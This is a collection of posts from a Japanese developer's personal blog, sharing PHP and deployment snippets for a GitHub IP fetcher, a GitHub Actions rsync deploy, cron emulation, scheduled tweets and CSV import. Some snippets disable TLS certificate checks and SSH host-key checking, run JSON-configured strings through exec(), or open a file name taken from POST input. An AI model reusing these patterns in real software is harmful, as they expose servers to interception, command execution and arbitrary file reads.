githubのIPアドレスを取得したい方へ送るコード.

2024.10.06

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おはようございます.以前、さくらレンタルサーバーにデプロイするためにGithubのIPアドレスを許可しなくては成らなくなり下記のコードを作りました.今回はそのコードのお裾分けです.Githubは使用されているIPアドレスをJsonデータとして公開しているので、そのJSONデータを取得するPHPコードです.

大したコードではないものの、ユーザーエージェントが無いと取得できないのでそこは気おつけてください.それはfile_get_contentsでも同様ですのでお気をつけください.

ソースコードは下記になります.尚、IPアドレスは下記のページから参照可能となります.

https://zip358.com/tool/github-ip-address

class githubIpAddress
{
    public $url = 'https://api.github.com/meta';
    public function getIpAddress($key)
    {
        $data = [];
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $this->url);
        curl_setopt($curl, CURLOPT_USERAGENT, 'getgithubaddress');
        curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'GET');
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

        $obj = json_decode(@curl_exec($curl));

        if ($obj?->$key) {
            foreach ($obj?->$key as $val) {
                $data[] = $val;
            }
        }
        curl_close($curl);
        return $data;
    }

    public function saveIpAddress($key, $data)
    {
        $filename = "data/{$key}-ip-address.txt";
        file_put_contents($filename, implode("\n",$data));
        return $filename;
    }
}

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

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Githubアクションでレンタルサーバーにデプロイさせる話.

2024.09.20

Logging

おはようございます.将軍が米エミー賞を受賞しましたね、これを機会に自分はディズニープラスを契約してウォーキングのときに将軍をみています、これは田舎だから出来る特権かと思います💁.

さてGithubアクションでレンタルサーバーにデプロイ(アップロード)させる方法を書いていきます.まず前提条件としてIDとPASSでの認証ではなくて鍵での方法です.事前に公開鍵をレンタルサーバーに登録しとく必要があります.

では最初に対象となるリポジトリのセッティングから下記の順にクリックしてください.

次、アクションシークレットに必要な値を登録します(SSH_PRIVATE_KEYやSERVER_USERNAMEなどです)

最後にアクションの設定(yml)を行えば完了です.完了ですがレンタルサーバーによっては海外IPアドレスをブロックするように設定しているレンタルサーバーがあります.なので、海外IPを解除する必要があります.GithubのIPアドレスはこちらを参照して設定ください.
https://api.github.com/meta

※ルート直下をデプロイ対象すると.gitもアップロードされ大変危険ですので対策を取るか、直下をアップロードしないようにするか等が必要なります.

name: sakura

on:
  push:
    branches: [ "main" ]

jobs:
  deploy:
    runs-on: ubuntu-latest

    steps:
      - name: Checkout Repository
        uses: actions/checkout@v4

      - name: Set up SSH key
        run: |
          mkdir -p ~/.ssh
          echo "${{ secrets.SSH_PRIVATE_KEY }}" > ~/.ssh/id_rsa_sakura
          chmod 600 ~/.ssh/id_rsa_sakura

      - name: Deploy Files via rsync
        run: |
          rsync -avz -e "ssh -i ~/.ssh/id_rsa_sakura -o StrictHostKeyChecking=no" ./path ${{ secrets.SERVER_USERNAME }}@${{ secrets.SERVER_HOST }}:${{ secrets.SERVER_DEPLOY_DIR }}

これでメインにプシュしたものはレンタルサーバーにアップロード(Deploy)されるようになります.

簡略化した説明なので分からない方もいると思います.そんな方は生成AIやググると何とかなるかと思いますので諦めずにトライしてみてください.

明日へ続く.

著者名  @taoka_toshiaki

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音声文字起こし試してみたローカル環境・Srtファイルにコンバート

2024.08.31

Logging

おはようございます.某会社のブログで音声文字起こしのやり方を記載されていたのを見てローカル環境でも文字起こしが出来そうだなって試してみたら出来たのでお裾分けです.

最初、Docker環境でwhisperとffmpegpythonがあれば上手く機能すると思っていたのだけど甘かった.ffmpegpythonだけインストールしても動かないようなのでffmpeg本体を公式サイトからダウンロードして来なくてはならない.ここらへんWindowと考え方が同じなんだなぁ.

LinuxのOSでダウンロードするffmpegが違います、またCPUによっても違うので、今回githubにアップしているDockerfileでは上手くいかない可能性もあります!、昨今ではCPUがAMDって人も多そうです.

そこら辺を合わして下記のコマンドを打つと実行されます.

docker-compose up -d --build

コンテナが起動したらコンテナ内から下記のコマンドを続けて打ってください.

python app.py

Srtファイルの変換には少々時間がかかりますが変換されます.なお、容量の大きいな音声データは恐らく落ちると思います.

では健闘を祈ってます.

https://github.com/taoka3/srt_convert

明日へ続く.

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steamのAPIを使用して積みゲーを調べてみました.積みゲー有り

2024.08.27

Logging

おはようございます.xAIの申請に通らなかったので来月のQiitaの投稿を何にしようかなと考えてた所、ふと積みゲーのことが頭に浮かんできたので、Steam APIとかあるのかなと調べてみました.そしたらAPIが在ったのでさっそく作ってみました.

ソースコードはgithubにもあげているので試してみてください.こちらのソースコードをコピペするよりお手軽ですよ.

https://github.com/taoka3/steam/tree/main

<?php
require 'config.php';

class steam
{

    public $result;

    public function getOwnedGames($urls = 'http://api.steampowered.com/IPlayerService/GetOwnedGames/v1/?')
    {
        $params = http_build_query([
            'key'=>APIKEY,
            'steamid'=>STEAMID,
            'include_appinfo'=>1,
            'include_played_free_games'=>0,
            //'appids_filter'=>''
        ]);
         $this->result = file_get_contents($urls.$params,true);
         return $this;
    }

    public function viewOwnedGames()
    {
        $data = json_decode($this->result);
        
        foreach($data->response->games as $val){
            $tumiGames = (int)$val->playtime_forever === 0?' [積みゲー]':'';
            printf('ゲーム名:%s プレイ時間:%02d時%02d分%s<br>',$val->name,(int)($val->playtime_forever / 60),(int)($val->playtime_forever % 60),$tumiGames);
        }
        return $this;
    }
}

(new steam)->getOwnedGames()->viewOwnedGames();

    

因みに実行結果は下記になります.

明日へ続く.

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DifyというAIサービスをローカル環境で試してみました.

2024.08.15

Logging

おはようございます.DifyというAIサービスをローカル環境で試してみましたが良いじゃないかなって思いました.下記の画像が実際動かしてみた感じです.

何が良いかと言えば社内アプリを構築するのに大変良いなということです.APIと連動しないと行けないですが、フェイスブックのOllama使えばAPI連動もローカルで出来るので実質無料で社内アプリが構築することが可能になります.

なお、作成された社内アプリのAPIURLを叩けばAPIとしても機能するのでいろいろと出来る感じがします.巷ではdify自体にアップロード機能は無いから不便との意見がありgithubのイシューにも書かれているらしいので機能追加される可能性は高そうです、それまでは外部で実行してテキストかURLを読み込ますことによって解決出来るのではないかなって思っています.

最後に自分としては良いサービスだと感じました.

明日へ続く.

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LineメッセージAPIの雛形を作りました.おすそ分け #php

2024.07.28

Logging

おはようございます.LineメッセージAPIの雛形を作りました.おすそ分けです、メッセージAPIのプッシュのみに対応しており、アクセストークンなどや送信先のuserIdは事前に発行してください.
対応したメッセージは下記になります.

  • テキストメッセージ
  • スタンプメッセージ
  • 画像メッセージ
  • 動画メッセージ
  • 音声メッセージ
  • 位置情報メッセージ
  • イメージマップメッセージ
  • テンプレートメッセージ
  • Flex Message

所感

イメージマップメッセージは自分が使用するつもりがないので作っていないです.テキストメッセージで送るのも良いですが、やはりテンプレートが良い感じがしました.

参考したサイト

https://developers.line.biz/ja/reference/messaging-api

Github

https://github.com/taoka3/linePostMessage

尚、どういう様なパラメーターを投げれば良いのかなどもソースコードのコメントアウトしている所に記載しているのでコメントアウトを解除して試してみてください.画像URLはダミーですので変更が必要になります.

明日へ続く.

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改正:予約時刻表の雛形

2024.05.03

Logging

おはようございます.先日、改正:予約時刻表の雛形をQiitaで公開しました.記事の内容を見たい方はQiitaのリンクから移動をお願いいたします.なお、こちらの記事の下の方にgithubのリンクを添えていますので、クローンしてお使いいただければ幸いです(ご自由に可変してお使いいただけと思います).

予約時刻表の雛形は以前もQiitaで公開したことがあるのですが、再度コードを見直して作り直しました.実際、使用するには予約後の表示処理やサブミットした後の処理などを加えないといけなくなると思います.

再度コードを作り直した、きっかけは「今ならどう書くだろう」という事がきっかけにあります.自分としてはこのコードイマイチなんです.特にヘッダー部分がナンセンスかなと思います、次回再改修するときはヘッダーのことも考慮して作りたいですね.

https://github.com/taoka3/Schedule

明日へ続く.

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ssh:複数のgithubを使いたい人へ.熨斗🚧.

2024.04.29

Logging

おはようございます、githubを複数持っている方、例えば仕事用と個人開発用を分けたい方などもいると思います.恐らくそういう人はPCのアカウントを分けて使用しているひとが一般的だと思います.自分もそんな感じです.ただ、自分の場合は、もともと個人用で使っていたものを職場環境にしていて過去のリポジトリとかが残っている.それを切り離したいなって思って先日、パブリック以外は個人開発用に移行しました.

その手順を記載します.

前提条件として、アカウントは2つもしくは複数持っていることを前提とし公開鍵暗号、秘密鍵が作れる設定できることを前提条件とします😌.

  1. ~/.ssh/configに下記のように設定します[OSにより参照部分は変えてください]
  2. バッチでgitを切り替えるようにしておく.
  3. クローンなどでsshを使用する場合は下記のようにしてクローンする.
Host github.com.yamada123
    HostName github.com 
    User git
    Port 22
    IdentityFile c:\Users\yamada\.ssh\yamada123\id_rsa
    TCPKeepAlive yes
    IdentitiesOnly yes
  Host github.com.yamada456
    HostName github.com 
    User git
    Port 22
    IdentityFile c:\Users\yamada\.ssh\yamada456\id_rsa
    TCPKeepAlive yes
    IdentitiesOnly yes
#yamada123とyamada456それぞれバッチファイルを作成.
git config --global user.name "yamada123" #githubのアカウント名
git config --global user.email "mail123@example.com" #githubのメールアドレス
git clone git@github.com.yamada123:yamada123/RepositoryName.git .

トイウコトデ、説明はあまりしていませんがこれで切り替えて取り扱いが可能です.因みにもともと使用していたRepositoryを移行するにはこれだけではうまく行きませんがエラーに答えが書いています.ので、そのコマンドを打ってください.まずは現在の/.git/を削除して・・・割愛.

明日へ続く.

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QiitaのCLIで思うことは一つだけ。

2023.08.10

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おはようございます、QiitaのCLIのベータ版がリリースされてから少し時間が経ちましたが、まだ試せてはいないものの、これは大量に記事をUPする人には適しているように思えます。

自分としてはマークダウンファイルをアップロードをGUIで付けて欲しいなって思っています、そうすればCLIの設定ができない人でもお手軽にGithubやGitLabのREADMEをUPすることなどが可能かなと思っています。

そのうち、そういう機能も追加されると思います。Qiitaはどこまで作り込むのだろうか?ユーザーさんのご意見等も取り入れながら機能の追加などをされていると思いますが、そろそろ基本的なところは完成形になっているような気がします。

そして生成AIにより恐らくQiitaもアクセス数は以前より減ったのではないでしょうか?そう思うと新たな収入源をQiitaの中の人は模索しているのかも知れません。

プラットフォームとサーバーの話。

プラットフォームは認知されひとが集まりだしたら強いですよねぇ。ひとが集まりだしたら普通のサーバーでは捌き切れなくなるのでどうしてもAWSなどに移行しないといけないと思いますが、最初はVPSなどで初めて人を集客出来たら、移行するというのがベストかなって思っています。特に個人で開発しているものをAWSで運用しても恐らくサーバー費が嵩んでマイナスになると思うので、最初は小さく初めて上手くいきそうだったら、変更していくというのがベストだと思います。

そういう訳もあり近々、あるWEBサービスを今のサーバーから切り離そうと思っています、いつ頃になるかは未定ですが、そういう思案があります。そのあるWEBサービス、ほっといても集客出来だしたので正直不安ですね(・・;)。

著者名  @taoka_toshiaki

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DockerでWEB開発するならXdebugを最初に入れとこうの巻。

2023.07.16

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おはようございます、DockerでWEB開発するならXdebugを最初に入れとこうの巻。これを途中で入れるということは環境を元に戻すことに繋がるので大変です。特にGitLabやGitHubなどを使用している場合は尚更かと思います、面倒なんですね途中からXdebugを入れるのは本当に。

自分のようにならないように最初からXdebugは入れておく方が大事です、あと開発に使用するポートも事前に聞くべしです。あとからDockerにポート開放は出来ないらしいので大事になります。

ladybug plastic toy
Photo by Mike Bird on Pexels.com

今では枯れた技術になるかもしれない、 VirtualBoxの方がそういう面では後から修正しやすいかと思います。Dockerは独特なのか分かりませんが後からポート開放ダメ、またVScodeで検証するためにはDocker独自に設定をしないといけないので、ポート開放してphp.iniの設定してVscodeでさてトレースとはいかないのです。

DockerのXdebug.iniみたいなのを設定しないと使用できない仕様になっています。因みに今、新たなymlファイルとDockerFileを作ろうとしています。毎回、yumでインストールしている部分があるのでそれをDockerFileで行おうと思っています。

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ワードプレスのchatGPT-APIを使ったプラグイン #chatGPT

2023.06.28

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おはようございます、ワードプレスのchatGPT-APIを使ったプラグインを作りました。1つ目は日本語記事を英語に翻訳してUPするプラグインです、このプラグインは公開時に一回だけ英語に変換されます。その後手直しが可能です。これからは日本語で記事を書いて英語化されたものを公開するとグローバルに記事を見ていただけるかなって思って作ったのですがどうなんでしょうね?

もう一つ目は、一週間分の記事を単語から連想して記事を自動で書いてくれるといったちょっと問題作のプラグインです。これで記事を書くことから開放されます。記事はすべて予約投稿になります。記事を直したい場合は編集画面で手動で記事を直してください。

両方ともGitHubとQiitaでソースコードを公開しています、ご自由にご使用ください。なお転売禁止します。

こちらのリンクからソースコードは参照できます。

日本語記事を英語に翻訳するプラグイン

単語から連想して記事を自動作成するプラグイン

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過去のリモートワークと違うところ。 #IT開発

2023.01.22

Logging

おはようございます、日曜日の朝。明日は仕事。

さて、今日は過去のリモートワークと違うところを書いていきます。自分は過去にリモートワークを2回経験しています。今回で3回目のリモートワークを行なっています。過去のリモートワークとの違いはgitというバージョン管理を使っているということ、そしてソースレビューがあるという事です。

What is GitHub?

今までのリモートワークはレビューもなく、一人称で完結という事でしたが一般的なIT企業に巡り合うことが出来たと思っています。因みに、gitのコミットやプッシュ、プル、マージなどは何となく出来ていたのですが、まだ慣れない事が幾分あります。

実践で出来ないことは、自分でgithubやgitlabにアカウントを開設してどういう振る舞いになるのか、試すことが一番良いかなと思っています。

因みにgitの練習を行い方はこういうサイトもありますので試してみてはいかがでしょうか?

https://learngitbranching.js.org/?NODEMO=&locale=ja

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vue.jsの学習をはじめて思うこと。 #参考書

2022.12.29

Logging

おはようございます、今年もあと少しですね😳。

先日からvue.jsの学習をしているのですが、参考書の8割方のアウトプットが出来ましたがですが、正直なところ、基礎概念がわかったぐらいの物でテクニックが記載されているという感じではない本、そういう印象を持っていますが、あと2割に極上のテクニックが記載されているかも知れません。

自分が買った本はこれです。

こんなデザイン表紙になっています、本のタイトル名は過去の記事に記載していますので、そちらを参照くださいませ🙇。

因みにいまVue.jsのコンポーネントを勉強しています。コンポーネントの使い方は分かったのですが、正直な所、JavaScriptを初めて勉強した方からするとハードルは結構高いじゃないかなと思います。こういう様になるんだという考えで進めていくべしですね。何故ならフレームワークの中身を知ろうとするとかなり難解なので、こういうルールがあるだよと思った方が良いです。

最後に自分のGitHubに参考書を基にしたサンプルコードをUPしていますので、良かったら参照ください。

        Vue.component('ore',{
            data:function(){
                return {
                    oreore:''
                }
            },
            mounted:function(){
                this.oreore = ' https://taoka-toshiaki.com';
            },
            template:'<h1>taoka toshiaki {{ oreore }}</h1>',
        });
        let app = new Vue({
            el:'#app',
        });

著者名  @taoka_toshiaki

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laravelの次はvue.jsとTypeScript。 #Vue

2022.12.28

Logging

おはようございます、予約投稿を忘れていま書いています😅。

先日までLaravel入門書で再学習をしていましたが、昨日の夕方からvue.jsとTypeScriptなどのお勉強をしています。参考にしている本は「これからはじめる人のJavaScript/Vue.jsの教科書」という本です。

昨日、ペラペラと本を読みつつ進めていたのですが、JavaScriptの基本的な部分は自分は大丈夫ぽっいので、今日からTypeScriptの学習へ入り数日でVue.jsへ進めそうな気がします。

年末年始なので、時間配分が難しいので、正月はお酒を飲みつつ学習するとかあるかもですが、基本的な入門書をサクサクっと進めていきたいと思います。

尚、学習している内容はGithubにアップしていってます😄。

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制限付きのクロンを無限寿限無にする方法。 #php #無限 #cron

2022.10.12

Logging

おはようございます🦏。昔の文章を読んでくれて今の記事を読まないユーザーさんがいます、凹む😖。

さて、今日はさくらレンタルサーバーでcronを制限以上に使う方法を数年前に書いた記事が未だに読まれたりするのでプログラムコードを直してタイトルも直してQiitaGithubにUPしました。

そのUPした記事があまりアクセスが跳ねなくて少しがっくりしたのがスポーツの日の朝の事です。Qiitaは何だか触りの記事かとても専門性の高い記事が人気を集めるだなって事を、この頃理解したのですが、自分は何方にも寄っていない記事なので跳ねないのかも知れません。

ソースコード貼り付けて置きます。尚、使い方などはQiitaGithubを参照してください。

<?php
date_default_timezone_set('Asia/Tokyo');
class cron
{
    public function __construct(mixed $filepath = "")
    {
        $val = @file_get_contents($this->pval($filepath));
        $obj_ = @json_decode($this->pval($val));
        $obj = (object)[];
        foreach ($obj_ as $key => $value) {
            $obj->name = "month";
            $obj->val = $value->m;
            if ($flg = $this->trigger_check($obj,"m",1,12)) {
                $obj->name = "day";
                $obj->val = $value->d;
                if ($flg = $this->trigger_check($obj,"d",1,31)) {
                    $obj->name = "hour";
                    $obj->val = $value->H;
                    if ($flg = $this->trigger_check($obj,"H",0,23)) {
                        $obj->name = "minutes";
                        $obj->val = $value->i;
                        if ($flg = $this->trigger_check($obj,"i",0,59)) {
                            $obj->name = "week";
                            $obj->val = implode(",", $value->w);
                            if ($flg = $this->trigger_check($obj,"w",0,0)) {
                                $this->command($value->command);
                            }
                        }
                    }
                }
            }
        }
    }
    public function command(mixed $command_val = "")
    {
        $command_val = $this->pval($command_val);
        exec($command_val . " > /dev/null &");
        // print "よろしくお願いします~~~!!".PHP_EOL;
        return true;
    }

    public function pval(mixed $val = "")
    {
        if (is_array($val)) {
            foreach ($val as $key => $value) {
                $val[$key] = strip_tags($value);
            }
        } else {
            $val = strip_tags($val);
        }
        return $val;
    }

    public function trigger_check(mixed $variable = "",mixed $d="",int $min=0 ,int $max=0)
    {
        if (!$variable) return false;
        if ($variable->val === "*") return true;
        switch ($variable->name) {
            case 'week':
                $value = @explode(",", $variable->val);
                return (int)$value[(int)date($d)] === 1 ? true : false;
                break;
            default:
                if (preg_match("/^(\*\/[0-9]{1,})$/", $variable->val)) {
                    $value = @explode("*/", $variable->val)[1];
                    if (is_numeric($value) && $value >= $min && $value <= $max) {
                        return (int)date($d) % $value === 0 ? true : false;
                    }
                }
                if (preg_match("/^([0-9]{1,}\,{1,})/", $variable->val)) {
                    $value = @explode(",", $variable->val);
                    $value = array_map('intval', $value);
                    return in_array((int)date($d), $value, true) === true ? true : false;
                }

                $value = (int)$variable->val;
                if (is_numeric($value) && $value >= $min && $value <= $max) {
                    return $value === (int)date($d) ? true : false;
                }
                return false;
                break;
        }
        return false;
    }
}

if($argv[1]){
    //argv
    new cron($argv[1]);
}


著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

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高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
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数珠繋ぎのツイートシステムに予約機能を付けました😂 #php #code

2022.10.07

Logging

おはようございます、偏頭痛持ちは雨が降るが一番大変です☔。

先日、数珠繋ぎのツイートシステムを作ったのですが、そのシステムに予約機能を付けました。尚、TwitterAPIのバージョン2でスケジュールのパラメーターが今のところ無いですね。これから先、機能が付くかも知れないですが今のところ無いようです。因みにソースコードは近日中にQiitaGithubにUPします。此処ではソースコードの一部を掲載します(※記事を更新しました下へスクロール🫠)。

Twitter API v2 ツイート数珠繋ぎ

尚、crontabでPHPファイルを叩くようにしています、あと注意事項ですが予約を一度した投稿については変更等は出来ません、編集機能等の機能追加の予定はないです。また、予約管理はsqlite3を使用して管理しています。

<?php
date_default_timezone_set('Asia/Tokyo');
ini_set("display_errors",0);
require_once "./data/tw-config-v2.php";
require_once "../vendor/autoload.php";

use Abraham\TwitterOAuth\TwitterOAuth;

class tw
{
    var $connection = null;
    var $pdo = null;
    function __construct()
    {
        $this->connection = new TwitterOAuth(APIKEY, APISECRET, ACCESSTOKEN, ACCESSTOKENSECRET);
        $this->connection->setApiVersion("2");
    }
    function db_connection()
    {
        try {
            //code...
            $res = $this->pdo = new PDO("sqlite:./data/tw-tweets-db.sqlite3");
        } catch (\Throwable $th) {
            //throw $th;
            //print $th->getMessage();
            $res = false;
        }
        return $res;
    }

    function timecheck($timeonoff, $times)
    {
        if (!$timeonoff) return true;
        $n = new DateTime();
        $t = new DateTime($times);
        return $t <= $n ? true : false;
    }

    function pickup_tweets(mixed $tw_text = null, int $timeonoff = 0, mixed $times = null, string $id = "")
    {
        if (!$times) return false;
        $obj = (object)[];
        $times = preg_replace("/\-/", "/", $times);
        $times = preg_replace("/T/", " ", $times);

        if ($this->timecheck($timeonoff, $times)) {
            if (isset($tw_text) && is_array($tw_text)) {
                foreach ($tw_text as $key => $value) {
                    if (preg_replace("/[ | ]/", "", $value)) {
                        $obj = !$key ? ($this->connection->post("tweets", ["text" => $value], true)
                        ) : ($this->connection->post("tweets", ["reply" => ["in_reply_to_tweet_id" => $obj->data->id], "text" => $value], true)
                        );
                    }
                }
                return true;
            }
        } else {
            return $timeonoff ? $this->save_sqlite($tw_text, $timeonoff, $times, $id): true;
        }
    }

    function save_sqlite($tw_text = null, int $timeonoff = 0, mixed $times = null, string $id = "")
    {
        if ($this->db_connection()) {
            try {
                //code...
                if (isset($tw_text) && is_array($tw_text)) {
                    foreach ($tw_text as $key => &$value) {
                        if (preg_replace("/[ | ]/", "", $value)) {
                            $stmt = $this->pdo->prepare("insert into tweets (tw_id,user,times,tw_text)values(:tw_id,:user,:times,:tw_text)");
                            $stmt->bindValue(":tw_id", $key, PDO::PARAM_INT);
                            $stmt->bindValue(":user", $id, PDO::PARAM_STR);
                            $stmt->bindValue(":times", $times, PDO::PARAM_STR);
                            $stmt->bindValue(":tw_text", $value, PDO::PARAM_STR);
                            $stmt->execute();
                        }
                    }
                }
                $this->pdo = null;
                return true;
            } catch (\Throwable $th) {
                //throw $th;
                return false;
            }
        }
    }
    function tweets_load(string $id = "")
    {
        if (!$id) return false;
        try {
            //code...
            $value = null;
            if ($this->db_connection()) {
                $stmt = $this->pdo->prepare("select * from tweets where user = :user order by times,tw_id asc;");
                $stmt->bindValue(":user", $id, PDO::PARAM_STR);
                $res = $stmt->execute();
                $value = $res ? $stmt->fetchAll() : false;
                $this->pdo = null;
            }
            return $value;            
        } catch (\Throwable $th) {
            //throw $th;
            return false;
        }
    }
    function tweets_update(int $key = 0, int $timeonoff = 0, mixed $times = null, string $id = "",mixed $tw_text="")
    {
        try {
            //code...
            if(!preg_replace("/[ | ]{0,}/","",$tw_text))return false;
            if ($this->db_connection()) {
                $stmt = $this->pdo->prepare("update tweets set tw_text = :tw_text where tw_id = :tw_id and user = :user and times = :times");
                $stmt->bindValue(":tw_id", $key, PDO::PARAM_INT);
                $stmt->bindValue(":user", $id, PDO::PARAM_STR);
                $stmt->bindValue(":times", $times, PDO::PARAM_STR);
                $stmt->bindValue(":tw_text", $tw_text, PDO::PARAM_STR);
                $stmt->execute();
                $this->pdo = null;
            }
        } catch (\Throwable $th) {
            //throw $th;
            return false;
        }
        return true;

    }

    function tweets_delete(int $key = 0, int $timeonoff = 0, mixed $times = null, string $id = "")
    {
        try {
            //code...
            if ($this->db_connection()) {
                $stmt = $this->pdo->prepare("delete from tweets where tw_id = :tw_id and user = :user and times = :times");
                $stmt->bindValue(":tw_id", $key, PDO::PARAM_INT);
                $stmt->bindValue(":user", $id, PDO::PARAM_STR);
                $stmt->bindValue(":times", $times, PDO::PARAM_STR);
                $stmt->execute();
                $this->pdo = null;
            }
        } catch (\Throwable $th) {
            //throw $th;
            return false;
        }
        return true;
    }

    function bat_tweets(mixed $value = null)
    {
        if (!$value) return false;
        $obj = (object)[];
        $t = "";
        foreach ($value as $key => $val) {
            if ($this->timecheck(1, $val["times"])) {
                $obj = ($val["times"]<>$t)? ($this->connection->post("tweets", ["text" => $val["tw_text"]], true)
                ) : ($this->connection->post("tweets", ["reply" => ["in_reply_to_tweet_id" => $obj->data->id], "text" => $val["tw_text"]], true)
                );
                $this->tweets_delete($val["tw_id"], 1, $val["times"], $val["user"]);
                $t = $val["times"];
            } else {
              //  var_dump($val);
              //  break;
            }
        }
    }
}

if ($argv[0]) {
    $tw = new tw();
    $value = $tw->tweets_load(xss_d($argv[1]));
    $tw->bat_tweets($value);
}
function xss_d($val = false)
{
    if (is_array($val)) {
        foreach ($val as $key => $value) {
            $val[$key]  = strip_tags($value);
            $val[$key]  = htmlspecialchars($val[$key]);
        }
    } else {
        $val  = strip_tags($val);
        $val  = htmlspecialchars($val);
    }
    return $val;
}

追記:予約編集機能なども付けました🙄。

GithubとQiitaのリンクはこちらです。
Github:https://github.com/taoka-toshiaki/tweets-system-box1
Qiita:https://qiita.com/taoka-toshiaki/items/5ef12b60b267742bf584

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

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1万件のCSVを読み込みテーブルに保存する雛形コード #PHPCode

2022.09.08

Logging

おはようございます、徐々に秋ぽっい日差しになってきましたね(まだ暑いけども😌)。

今日は、1万件のCSVを読み込みテーブルに保存する雛形コードを昨日、ちょちょっと書きましたので記載します。ファイルをダウンロードして使いたい方はGithubのリンクを下に貼っときますので、ご使用頂けたらと思います。尚、テーブルなどはCSVを参考にご自身で構えてください。

※動作環境はPHP8系です、なのでPHP7系では一部エラーが出ます。fgetcsv…nullを0へ変更。

Githubのリンクはこちら

Qiitaの方に記載しようかどうしようか、迷ったのですが第一弾目がアクセス数がそこそこ伸びたのでこれ以上、注目されるのは嫌なのでブログの方に記載しました。1万件のCSVを簡単に読み込ませる方法はPHPコードを書くのではなく、SQLのコマンドで実行した方が実は早いですけど・・・。

https://twitter.com/taoka_toshiaki/status/1567489169919975424
有言実行

早いですけど、その場合、CSVがちゃんとしたファイルではないと上手くテーブルに保存されない場合や、そもそもコマンドラインで操作出来ない場合もあったりしてPHPコードなどで制御しないと駄目な事もあります。そんな時に、このコードをサンプルとして使って頂ければ良いなと思い作りました。

1万件のCSVを読み込ませるPHPコード雛形。

そんなにコードを書かなくてもまぁ動くんですよ。ちなみにソースコードには、あまりコメントを書いていないですが、プログラマーなら大体の人が理解できるレベルかと思います。

<?php
//ini_set("display_errors","On");
session_start();
require "db_config.php";

//読み込みCSVファイル名セット
class csv
{
    /**
     * @param string $filename
     * @param int $cnt
     * @return Object
     */
    public function ini_csv($filename = "", $cnt = 0)
    {
        return new csv_read($filename, $cnt);
    }
}

//CSVデータを読み込ます
class csv_read
{
    var $max = 10000;
    var $cnt = 0;
    var $handle = null;
    /**
     * @param string $filename
     * @param int $cnt
     */
    public function __construct($filename = "", $cnt = 0)
    {
        $this->cnt = $cnt;
        $this->handle =  fopen($filename, "r");
        $_SESSION["offset"] ? fseek($this->handle, $_SESSION["offset"]) : $this->handle;
    }
    /**
     * @param int $header_skip
     * @return Object
     */
    public function reader($header_skip = 0)
    {
        if ($this->handle !== FALSE) {
            $response = null;
            $data = fgetcsv($this->handle, null, ",");
            if (!$header_skip || $_SESSION["offset"]) {
                if ($data !== FALSE) {
                    $_SESSION["offset"] = ftell($this->handle);
                    $response["data"] = $data;
                    $response["cnt"] = $this->cnt > $this->max ? 0 : ($this->cnt + 1);
                    $flag = true;
                } else {
                    $_SESSION["offset"] = null;
                    $flag = false;
                }
            } else {
                $_SESSION["offset"] = ftell($this->handle);
                $response["cnt"] = $this->cnt > $this->max ? 0 : ($this->cnt + 1);
                $flag = false;
            }
        } else {
            $_SESSION["offset"] = null;
            $flag = false;
        }
        return new table_save($flag, $response);
    }
}

//tableにCSVデータを保存
class table_save
{
    var $flag = false;
    var $result = null;
    /**
     * @param boolean $flag
     * @param array  $response
     * @return void
     */
    public function __construct($flag, $response)
    {
        $this->flag = $flag;
        $this->result = $response;
        $this->column_name = "name,,...";
    }
    /**
     * @param string  $column_name
     * @return void
     */
    public function tbl_save($column_name = "")
    {
        if ($this->flag) {
            $column = $column_name ? $column_name : $this->column_name;
            $is_column = explode(",", $column);
            foreach ($is_column as $key => $val) {
                $is_value[$val] = $this->result["data"][$key];
            }
            try {
                $pdo = new PDO(DSN, USERNAME, PASSWORD);
                $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
                $sql = (function ($is_column) {
                    $INSERTFIRST = null;
                    $INSERTLAST = null;
                    foreach ($is_column as $key => $val) {
                        $INSERTFIRST[] = "$val";
                        $INSERTLAST[] = ":$val";
                    }
                    $INSERTSQL = "(" . implode(",", $INSERTFIRST) . ")values(" . implode(",", $INSERTLAST) . ")";
                    $UPDATESQL = null;
                    foreach ($is_column as $key => $val) {
                        $UPDATESQL[] = "$val = :$val";
                    }
                    return "INSERT INTO " . TABLENAME . $INSERTSQL . " ON DUPLICATE KEY UPDATE " . implode(",", $UPDATESQL) . ";";
                })($is_column);

                $stmt = $pdo->prepare($sql);
                foreach ($is_value as $key => &$value) {
                    $is_type = ($key === "test3" || $key === "test13") ? PDO::PARAM_INT : PDO::PARAM_STR;
                    $stmt->bindValue(":$key", $value, $is_type);
                }
                $this->result["sql"] = $stmt->execute();
            } catch (\Throwable $th) {
                //throw $th;
                $this->result = null;
                print $th->getMessage();
            }
        }
        print json_encode($this->result);
    }
}

//RUN...POST DATA
if (isset($_POST["csrf_token"])  && d_xss($_POST["csrf_token"]) === $_SESSION['csrf_token']) {

    $_SESSION["offset"] = (int)d_xss($_POST["reset_flag"]) === 1 ? null : d_xss($_SESSION["offset"]);
    $filename = d_xss($_POST["filename"]);
    $cnt = (int)d_xss($_POST["cnt"]);

    $column_name = "test1,test2,test3,test4,test5,test6,test7,test8,test9,test10,test11,test12,test13,test14,test15";
    $header_skip = 1;

    $csv = new csv();
    $csv->ini_csv($filename, $cnt)->reader($header_skip)->tbl_save($column_name);
    $csv = null;
} else {
    print "";
}
function d_xss($data){
    $data = strip_tags($data);
    $data = htmlspecialchars($data,ENT_QUOTES);
    return $data;
}
<?php
 // ログインした状態と同等にするためセッションを開始します
 session_start();
 // 暗号学的的に安全なランダムなバイナリを生成し、それを16進数に変換することでASCII文字列に変換します
  $toke_byte = openssl_random_pseudo_bytes(16);
  $csrf_token = bin2hex($toke_byte);
  // 生成したトークンをセッションに保存します
  $_SESSION['csrf_token'] = $csrf_token;
?>
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<meta name="Description" content="Enter your description here"/>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.6.0/css/bootstrap.min.css">
